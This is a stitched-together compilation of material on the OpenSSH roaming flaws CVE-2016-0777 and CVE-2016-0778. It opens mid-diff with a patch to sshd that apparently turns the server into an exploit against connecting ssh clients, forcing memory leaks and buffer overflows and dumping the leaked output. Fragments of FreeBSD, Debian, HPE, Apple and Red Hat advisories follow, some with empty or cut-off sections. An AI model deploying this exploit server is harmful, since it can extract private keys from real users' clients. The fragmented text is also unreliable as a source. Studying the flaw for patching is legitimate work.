break; + if (errno != EEXIST) + fatal("%s: mkdir %s errno %d", func, dir, errno); + } + debug("%s: dir %s", func, dir); + if (chdir(dir) != 0) + fatal("%s: chdir %s errno %d", func, dir, errno); + + u_int client_out_buf_size = 0; + if ((cp = strstr(roaming, "client_out_buf_size:")) != NULL) + client_out_buf_size = strtoul(cp + 20, NULL, 0); + else if (overflow != 0) + client_out_buf_size = MAX_ROAMBUF; + else + client_out_buf_size = 1 + arc4random() % 4096; + debug("%s: client_out_buf_size %u", func, client_out_buf_size); + if (client_out_buf_size <= 0) + fatal("%s: client_out_buf_size", func); + dump_roaming_file("client_out_buf_size", &client_out_buf_size, + sizeof(client_out_buf_size)); + + if ((cp = strstr(roaming, "scp_mode")) != NULL) { + if (overflow != 0) + fatal("%s: scp_mode is incompatible with overflow %d", + func, overflow); + + u_int seconds_left_to_sleep = 3; + if ((cp = strstr(cp, "sleep:")) != NULL) + seconds_left_to_sleep = strtoul(cp + 6, NULL, 0); + debug("%s: sleep %u", func, seconds_left_to_sleep); + + if (client_session_channel == -1) + fatal("%s: client_session_channel %d", + func, client_session_channel); + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(client_session_channel); + packet_put_int(server_session_channel); + packet_put_int(0); / server window / + packet_put_int(0); / server maxpacket / + packet_send(); + + packet_start(SSH2_MSG_CHANNEL_DATA); + packet_put_int(client_session_channel); + packet_put_string("\0\n", 2); / response&source|sink&run_err / + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_REQUEST); + packet_get_int(); / server channel / + debug("%s: channel request %s", func, + packet_get_cstring(NULL)); + + while (seconds_left_to_sleep) + seconds_left_to_sleep = sleep(seconds_left_to_sleep); + } + + packet_start(SSH2_MSG_REQUEST_SUCCESS); + packet_put_int(id); / roaming_id / + packet_put_int64(arc4random()); / cookie / + packet_put_int64(0); / key1 / + packet_put_int64(0); / key2 / + packet_put_int(client_out_buf_size - client_send_buf_size); + packet_send(); + packet_write_wait(); + + if (overflow != 0) { + const u_int64_t full_client_out_buf = get_recv_bytes() + + client_out_buf_size; + + u_int fd_leaks = 4 * 8 * 8; / MIN_CHUNK_SIZE in bits / + if ((cp = strstr(roaming, "fd_leaks:")) != NULL) + fd_leaks = strtoul(cp + 9, NULL, 0); + debug("%s: fd_leaks %u", func, fd_leaks); + + while (fd_leaks--) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring(overflow == 'X' ? "x11" : + "auth-agent@openssh.com"); / ctype / + packet_put_int(arc4random()); / server channel / + packet_put_int(arc4random()); / server window / + packet_put_int(arc4random()); / server maxpacket / + if (overflow == 'X') { + packet_put_cstring(""); / originator / + packet_put_int(arc4random()); / port / + } + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_get_int(); / server channel / + packet_get_int(); / client channel / + packet_get_int(); / client window / + packet_get_int(); / client maxpacket / + packet_check_eom(); + } + + while (get_recv_bytes() <= full_client_out_buf) { + packet_start(SSH2_MSG_GLOBAL_REQUEST); + packet_put_cstring(""); / rtype / + packet_put_char(1); / want_reply / + packet_send(); + + packet_read_expect(SSH2_MSG_REQUEST_FAILURE); + packet_check_eom(); + } + + if (kex == NULL) + fatal("%s: no kex, cannot rekey", func); + if (kex->flags & KEX_INIT_SENT) + fatal("%s: KEX_INIT_SENT already", func); + char const ptr = buffer_ptr(&kex->my); + const u_int len = buffer_len(&kex->my); + if (len <= 1+4) / first_kex_follows + reserved / + fatal("%s: kex len %u", func, len); + ptr[len - (1+4)] = 1; / first_kex_follows / + kex_send_kexinit(kex); + + u_int i; + packet_read_expect(SSH2_MSG_KEXINIT); + for (i = 0; i < KEX_COOKIE_LEN; i++) + packet_get_char(); + for (i = 0; i < PROPOSAL_MAX; i++) + free(packet_get_string(NULL)); + packet_get_char(); / first_kex_follows / + packet_get_int(); / reserved / + packet_check_eom(); + + char buf[81922]; / two packet_read_seqnr bufferfuls / + memset(buf, '\0', sizeof(buf)); + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL); + packet_put_string(buf, sizeof(buf)); + packet_send(); + const Buffer const output = packet_get_output(); + dump_roaming_file("output", buffer_ptr(output), + buffer_len(output)); + } + + const u_int64_t client_write_bytes = get_recv_bytes(); + debug("%s: client_write_bytes %llu", func, + (unsigned long long)client_write_bytes); + dump_roaming_file("client_write_bytes", &client_write_bytes, + sizeof(client_write_bytes)); + fatal("%s: all done for %s", func, dir); +} + +static void server_input_global_request(int type, u_int32_t seq, void ctxt) { char rtype; @@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_ } else if (strcmp(rtype, "no-more-sessions@openssh.com") == 0) { no_more_sessions = 1; success = 1; + } else if (strcmp(rtype, ROAMING_REQUEST) == 0) { + if (want_reply != 1) + fatal("%s: rtype %s want_reply %d", func, + rtype, want_reply); + roaming_disconnect(ctxt); + / NOTREACHED */ + fatal("%s: returned from %s", func, ROAMING_REQUEST); } if (want_reply) { packet_start(success ? diff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c --- openssh-6.4p1/sshd.c 2013-07-19 20:21:53.000000000 -0700 +++ openssh-6.4p1+roaming/sshd.c 2016-01-07 01:04:15.000000000 -0800 @@ -2432,6 +2432,8 @@ do_ssh2_kex(void) } if (options.kex_algorithms != NULL) myproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms; + else + myproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX "," KEX_RESUME;
if (options.rekey_limit || options.rekey_interval)
packet_set_rekey_limits((u_int32_t)options.rekey_limit,
. Corrected: 2016-01-14 22:42:43 UTC (stable/10, 10.2-STABLE) 2016-01-14 22:45:33 UTC (releng/10.2, 10.2-RELEASE-p10) 2016-01-14 22:47:54 UTC (releng/10.1, 10.1-RELEASE-p27) 2016-01-14 22:50:35 UTC (stable/9, 9.3-STABLE) 2016-01-14 22:53:07 UTC (releng/9.3, 9.3-RELEASE-p34) CVE Name: CVE-2016-0777
For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit . The ssh(1) is client side utility used to login to remote servers.
II.
III.
IV.
All current remote ssh(1) sessions need to be restared after changing the configuration file.
V. Solution
Perform one of the following:
1) Upgrade your vulnerable system to a supported FreeBSD stable or release / security branch (releng) dated after the correction date.
2) To update your vulnerable system via a binary patch:
Systems running a RELEASE version of FreeBSD on the i386 or amd64 platforms can be updated via the freebsd-update(8) utility:
freebsd-update fetch
freebsd-update install
3) To update your vulnerable system via a source code patch:
The following patches have been verified to apply to the applicable FreeBSD release branches.
a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility.
fetch https://security.FreeBSD.org/patches/SA-16:07/openssh.patch
fetch https://security.FreeBSD.org/patches/SA-16:07/openssh.patch.asc
gpg --verify openssh.patch.asc
b) Apply the patch. Execute the following commands as root:
cd /usr/src
patch < /path/to/patch
c) Recompile the operating system using buildworld and installworld as described in .
VI. Correction details
The following list contains the correction revision numbers for each affected branch.
Branch/path Revision
stable/9/ r294053 releng/9.3/ r294054 stable/10/ r294049 releng/10.1/ r294051 releng/10.2/ r294052
To see which files were modified by a particular revision, run the following command, replacing NNNNNN with the revision number, on a machine with Subversion installed:
svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base
Or visit the following URL, replacing NNNNNN with the revision number:
VII.
Users with passphrase-less privates keys, especially in non interactive setups (automated jobs using ssh, scp, rsync+ssh etc.) are advised to update their keys if they have connected to an SSH server they don't trust.
More details about identifying an attack and mitigations will be available in the Qualys Security Advisory.
For the oldstable distribution (wheezy), these problems have been fixed in version 1:6.0p1-4+deb7u3.
For the stable distribution (jessie), these problems have been fixed in version 1:6.7p1-5+deb8u1.
For the testing distribution (stretch) and unstable distribution (sid), these problems will be fixed in a later version. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1
Note: the current version of the following document is available here: https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05247375
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c05247375 Version: 1
HPSBGN03638 rev.1 - HPE Remote Device Access: Virtual Customer Access System (vCAS) using lighttpd and OpenSSH, Unauthorized Modification of Information, Remote Denial of Service (DoS), Remote Disclosure of Information
NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.
Release Date: 2016-08-29 Last Updated: 2016-08-29
Potential Security Impact: Remote Denial of Service (DoS), Disclosure of Information, Unauthorized Modification Of Information
Source: Hewlett Packard Enterprise, Product Security Response Team
VULNERABILITY SUMMARY Potential vulnerabilities have been identified in the lighttpd and OpenSSH version used in HPE Remote Device Access: Virtual Customer Access System (vCAS). These vulnerabilities could be exploited remotely resulting in unauthorized modification of information, denial of service (DoS), and disclosure of information.
References:
CVE-2015-3200 CVE-2016-0777 CVE-2016-0778 PSRT110211
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. HPE Remote Device Access: Virtual Customer Access System (vCAS) - v15.07 (RDA 8.1) and earlier.
BACKGROUND
CVSS Base Metrics ================= Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector
CVE-2015-3200
5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
5.0 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
CVE-2016-0777
6.5 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 (AV:N/AC:L/Au:S/C:P/I:N/A:N)
CVE-2016-0778
9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Information on CVSS is documented in
HPE Customer Notice HPSN-2008-002 here:
https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499
RESOLUTION
HPE has made the following updates available to resolve the vulnerabilities in Remote Device Access: Virtual Customer Access System (vCAS)
vCAS 16.05 (RDA 8.7) kits - hp-rdacas-16.05-10482-vbox.ova and hp-rdacas-16.05-10482.ova.
The Oracle VirtualBox kit is available at: https://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482-vbox.ova
The VMware ESX(i) and VMware Player kit is available at: https://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482.ova
HISTORY Version:1 (rev.1) - 29 August 2016 Initial release
Third Party Security Patches: Third party security patches that are to be installed on systems running Hewlett Packard Enterprise (HPE) software products should be applied in accordance with the customer's patch management policy.
Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HPE Services support channel.
Report: To report a potential security vulnerability for any HPE supported product: Web form: https://www.hpe.com/info/report-security-vulnerability Email: security-alert@hpe.com
Subscribe: To initiate a subscription to receive future HPE Security Bulletin alerts via Email: http://www.hpe.com/support/Subscriber_Choice
Security Bulletin Archive: A list of recently released Security Bulletins is available here: http://www.hpe.com/support/Security_Bulletin_Archive
Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.
3C = 3COM 3P = 3rd Party Software GN = HPE General Software HF = HPE Hardware and Firmware MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PV = ProCurve ST = Storage Software UX = HP-UX
Copyright 2016 Hewlett Packard Enterprise
Hewlett Packard Enterprise shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett Packard Enterprise and the names of Hewlett Packard Enterprise products referenced herein are trademarks of Hewlett Packard Enterprise in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512
APPLE-SA-2016-03-21-5 OS X El Capitan 10.11.4 and Security Update 2016-002
OS X El Capitan 10.11.4 and Security Update 2016-002 is now available and addresses the following:
apache_mod_php Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by updating libpng to version 1.6.20. CVE-ID CVE-2015-8126 : Adam Mariš CVE-2015-8472 : Adam Mariš
AppleRAID Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed through improved input validation. CVE-ID CVE-2016-1733 : Proteas of Qihoo 360 Nirvan Team
AppleRAID Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to determine kernel memory layout Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-ID CVE-2016-1732 : Proteas of Qihoo 360 Nirvan Team
AppleUSBNetworking Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue existed in the parsing of data from USB devices. This issue was addressed through improved input validation. CVE-ID CVE-2016-1734 : Andrea Barisani and Andrej Rosano of Inverse Path
Bluetooth Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1735 : Jeonghoon Shin@A.D.D CVE-2016-1736 : beist and ABH of BoB
Carbon Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .dfont file may lead to arbitrary code execution Description: Multiple memory corruption issues existed in the handling of font files. These issues were addressed through improved bounds checking. CVE-ID CVE-2016-1737 : an anonymous researcher
dyld Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker may tamper with code-signed applications to execute arbitrary code in the application's context Description: A code signing verification issue existed in dyld. CVE-ID CVE-2016-1738 : beist and ABH of BoB
FontParser Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution Description: A memory corruption issue was addressed through improved memory handling. CVE-ID CVE-2016-1740 : HappilyCoded (ant4g0nist and r3dsm0k3) working with Trend Micro's Zero Day Initiative (ZDI)
HTTPProtocol Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A remote attacker may be able to execute arbitrary code Description: Multiple vulnerabilities existed in nghttp2 versions prior to 1.6.0, the most serious of which may have led to remote code execution. These were addressed by updating nghttp2 to version 1.6.0. CVE-ID CVE-2015-8659
Intel Graphics Driver Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1743 : Piotr Bania of Cisco Talos CVE-2016-1744 : Ian Beer of Google Project Zero
IOFireWireFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to cause a denial of service Description: A null pointer dereference was addressed through improved validation. CVE-ID CVE-2016-1745 : sweetchip of Grayhash
IOGraphics Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed through improved input validation. CVE-ID CVE-2016-1746 : Peter Pi of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI) CVE-2016-1747 : Juwei Lin of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)
IOHIDFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to determine kernel memory layout Description: A memory corruption issue was addressed through improved memory handling. CVE-ID CVE-2016-1748 : Brandon Azad
IOUSBFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1749 : Ian Beer of Google Project Zero and Juwei Lin of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)
Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A use after free issue was addressed through improved memory management. CVE-ID CVE-2016-1750 : CESG
Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A race condition existed during the creation of new processes. This was addressed through improved state handling. CVE-ID CVE-2016-1757 : Ian Beer of Google Project Zero and Pedro Vilaca
Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A null pointer dereference was addressed through improved input validation. CVE-ID CVE-2016-1756 : Lufeng Li of Qihoo 360 Vulcan Team
Kernel Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1754 : Lufeng Li of Qihoo 360 Vulcan Team CVE-2016-1755 : Ian Beer of Google Project Zero CVE-2016-1759 : lokihardt
Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to determine kernel memory layout Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-ID CVE-2016-1758 : Brandon Azad
Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple integer overflows were addressed through improved input validation. CVE-ID CVE-2016-1753 : Juwei Lin Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)
Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to cause a denial of service Description: A denial of service issue was addressed through improved validation. CVE-ID CVE-2016-1752 : CESG
libxml2 Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing maliciously crafted XML may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2015-1819 CVE-2015-5312 : David Drysdale of Google CVE-2015-7499 CVE-2015-7500 : Kostya Serebryany of Google CVE-2015-7942 : Kostya Serebryany of Google CVE-2015-8035 : gustavo.grieco CVE-2015-8242 : Hugh Davenport CVE-2016-1761 : wol0xff working with Trend Micro's Zero Day Initiative (ZDI) CVE-2016-1762
Messages Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker who is able to bypass Apple's certificate pinning, intercept TLS connections, inject messages, and record encrypted attachment-type messages may be able to read attachments Description: A cryptographic issue was addressed by rejecting duplicate messages on the client. CVE-ID CVE-2016-1788 : Christina Garman, Matthew Green, Gabriel Kaptchuk, Ian Miers, and Michael Rushanan of Johns Hopkins University
Messages Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Clicking a JavaScript link can reveal sensitive user information Description: An issue existed in the processing of JavaScript links. This issue was addressed through improved content security policy checks. CVE-ID CVE-2016-1764 : Matthew Bryan of the Uber Security Team (formerly of Bishop Fox), Joe DeMesy and Shubham Shah of Bishop Fox
NVIDIA Graphics Drivers Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1741 : Ian Beer of Google Project Zero
OpenSSH Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Connecting to a server may leak sensitive user information, such as a client's private keys Description: Roaming, which was on by default in the OpenSSH client, exposed an information leak and a buffer overflow. These issues were addressed by disabling roaming in the client. CVE-ID CVE-2016-0777 : Qualys CVE-2016-0778 : Qualys
OpenSSH Available for: OS X Mavericks v10.9.5 and OS X Yosemite v10.10.5 Impact: Multiple vulnerabilities in LibreSSL Description: Multiple vulnerabilities existed in LibreSSL versions prior to 2.1.8. These were addressed by updating LibreSSL to version 2.1.8. CVE-ID CVE-2015-5333 : Qualys CVE-2015-5334 : Qualys
OpenSSL Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A remote attacker may be able to cause a denial of service Description: A memory leak existed in OpenSSL versions prior to 0.9.8zh. This issue was addressed by updating OpenSSL to version 0.9.8zh. CVE-ID CVE-2015-3195
Python Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by updating libpng to version 1.6.20. CVE-ID CVE-2014-9495 CVE-2015-0973 CVE-2015-8126 : Adam Mariš CVE-2015-8472 : Adam Mariš
QuickTime Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted FlashPix Bitmap Image may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1767 : Francis Provencher from COSIG CVE-2016-1768 : Francis Provencher from COSIG
QuickTime Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted Photoshop document may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1769 : Francis Provencher from COSIG
Reminders Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Clicking a tel link can make a call without prompting the user Description: A user was not prompted before invoking a call. This was addressed through improved entitlement checks. CVE-ID CVE-2016-1770 : Guillaume Ross of Rapid7 and Laurent Chouinard of Laurent.ca
Ruby Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local attacker may be able to cause unexpected application termination or arbitrary code execution Description: An unsafe tainted string usage vulnerability existed in versions prior to 2.0.0-p648. CVE-ID CVE-2015-7551
Security Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to check for the existence of arbitrary files Description: A permissions issue existed in code signing tools. This was addressed though additional ownership checks. CVE-ID CVE-2016-1773 : Mark Mentovai of Google Inc.
Security Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted certificate may lead to arbitrary code execution Description: A memory corruption issue existed in the ASN.1 decoder. This issue was addressed through improved input validation. CVE-ID CVE-2016-1950 : Francis Gabriel of Quarkslab
Tcl
Available for:
OS X Yosemite v10.10.5 and OS X El Capitan v10.11 to v10.11.3
Impact: Processing a maliciously crafted .png file may lead to
arbitrary code execution
Description: Multiple vulnerabilities existed in libpng versions
prior to 1.6.20. These were addressed by removing libpng.
CVE-ID
CVE-2015-8126 : Adam Mariš
TrueTypeScaler Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted font file may lead to arbitrary code execution Description: A memory corruption issue existed in the processing of font files. This issue was addressed through improved input validation. CVE-ID CVE-2016-1775 : 0x1byte working with Trend Micro's Zero Day Initiative (ZDI)
Wi-Fi Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker with a privileged network position may be able to execute arbitrary code Description: A frame validation and memory corruption issue existed for a given ethertype. This issue was addressed through additional ethertype validation and improved memory handling. CVE-ID CVE-2016-0801 : an anonymous researcher CVE-2016-0802 : an anonymous researcher
OS X El Capitan 10.11.4 includes the security content of Safari 9.1. https://support.apple.com/kb/HT206171
OS X El Capitan v10.11.4 and Security Update 2016-002 may be obtained from the Mac App Store or Apple's Software Downloads web site: http://www.apple.com/support/downloads/
Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222
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===================================================================== Red Hat Security Advisory
Synopsis: Moderate: openssh security update Advisory ID: RHSA-2016:0043-01 Product: Red Hat Enterprise Linux Advisory URL: https://rhn.redhat.com/errata/RHSA-2016-0043.html Issue date: 2016-01-14 CVE Names: CVE-2016-0777 CVE-2016-0778 =====================================================================
- Summary:
Updated openssh packages that fix two security issues are now available for Red Hat Enterprise Linux 7.
Red Hat Product Security has rated this update as having Moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section. Relevant releases/architectures:
Red Hat Enterprise Linux Client (v. 7) - x86_64 Red Hat Enterprise Linux Client Optional (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64 Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - x86_64 Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64
- Description:
OpenSSH is OpenBSD's SSH (Secure Shell) protocol implementation. These packages include the core files necessary for both the OpenSSH client and server. (CVE-2016-0778)
Red Hat would like to thank Qualys for reporting these issues.
All openssh users are advised to upgrade to these updated packages, which contain backported patches to correct these issues. After installing this update, the OpenSSH server daemon (sshd) will be restarted automatically. Solution:
Before applying this update, make sure all previously released errata relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
- Package List:
Red Hat Enterprise Linux Client (v. 7):
Source: openssh-6.6.1p1-23.el7_2.src.rpm
x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Client Optional (v. 7):
x86_64: openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
Red Hat Enterprise Linux ComputeNode (v. 7):
Source: openssh-6.6.1p1-23.el7_2.src.rpm
x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux ComputeNode Optional (v. 7):
x86_64: openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Server (v. 7):
Source: openssh-6.6.1p1-23.el7_2.src.rpm
ppc64: openssh-6.6.1p1-23.el7_2.ppc64.rpm openssh-askpass-6.6.1p1-23.el7_2.ppc64.rpm openssh-clients-6.6.1p1-23.el7_2.ppc64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm openssh-keycat-6.6.1p1-23.el7_2.ppc64.rpm openssh-server-6.6.1p1-23.el7_2.ppc64.rpm
ppc64le: openssh-6.6.1p1-23.el7_2.ppc64le.rpm openssh-askpass-6.6.1p1-23.el7_2.ppc64le.rpm openssh-clients-6.6.1p1-23.el7_2.ppc64le.rpm openssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm openssh-keycat-6.6.1p1-23.el7_2.ppc64le.rpm openssh-server-6.6.1p1-23.el7_2.ppc64le.rpm
s390x: openssh-6.6.1p1-23.el7_2.s390x.rpm openssh-askpass-6.6.1p1-23.el7_2.s390x.rpm openssh-clients-6.6.1p1-23.el7_2.s390x.rpm openssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm openssh-keycat-6.6.1p1-23.el7_2.s390x.rpm openssh-server-6.6.1p1-23.el7_2.s390x.rpm
x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 7):
ppc64: openssh-debuginfo-6.6.1p1-23.el7_2.ppc.rpm openssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm openssh-ldap-6.6.1p1-23.el7_2.ppc64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64.rpm
ppc64le: openssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm openssh-ldap-6.6.1p1-23.el7_2.ppc64le.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64le.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64le.rpm
s390x: openssh-debuginfo-6.6.1p1-23.el7_2.s390.rpm openssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm openssh-ldap-6.6.1p1-23.el7_2.s390x.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.s390x.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.s390.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.s390x.rpm
x86_64: openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 7):
Source: openssh-6.6.1p1-23.el7_2.src.rpm
